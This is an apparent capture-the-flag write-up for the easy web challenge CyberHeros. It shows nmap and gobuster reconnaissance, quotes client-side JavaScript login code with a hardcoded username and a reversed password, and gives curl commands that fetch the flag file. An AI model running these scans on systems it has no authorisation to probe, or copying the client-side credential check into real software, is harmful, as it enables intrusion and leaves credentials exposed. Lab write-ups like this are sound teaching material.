Summary
CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.
- Target:
<MACHINE_IP> - Category: Web
- Difficulty: Easy
- Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials
1. Reconnaissance
Confirmed host is up and scanned open ports:
nmap -A -Pn <MACHINE_IP> -o nmap
Results:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open http Apache httpd 2.4.48 (Ubuntu)
http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.
2. Initial Web Enumeration
Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.
The index page's About section directly hints at the objective:
We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
Nav bar links to login.html.
3. Directory Enumeration
gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
Notable results:
assets (Status: 301)
changelog.txt (Status: 200) [Size: 2756]
index.html (Status: 200) [Size: 6568]
login.html (Status: 200) [Size: 5753]
No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.
4. Inspecting login.html
Fetched the login page source directly:
curl http://<MACHINE_IP>/login.html
The page ships an inline <script> block containing the entire authentication logic:
function authenticate() {
a = document.getElementById('uname')
b = document.getElementById('pass')
const RevereString = str => [...str].reverse().join('');
if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("flag").innerHTML = this.responseText;
}
};
xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
xhttp.send();
}
}
Two things fall out of this immediately:
- The credential check happens entirely client-side, with the username hardcoded (
h3ck3rBoi) and the password only lightly obfuscated via string reversal. - On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.
5. Recovering the Credentials
Reversing the obfuscated password string by hand:
54321@terceSrepuS -> SuperSecret@12345
Recovered credentials:
username: h3ck3rBoi
password: SuperSecret@12345
6. Retrieving the Flag
Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:
curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
Response:
Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D
flag{REDACTED}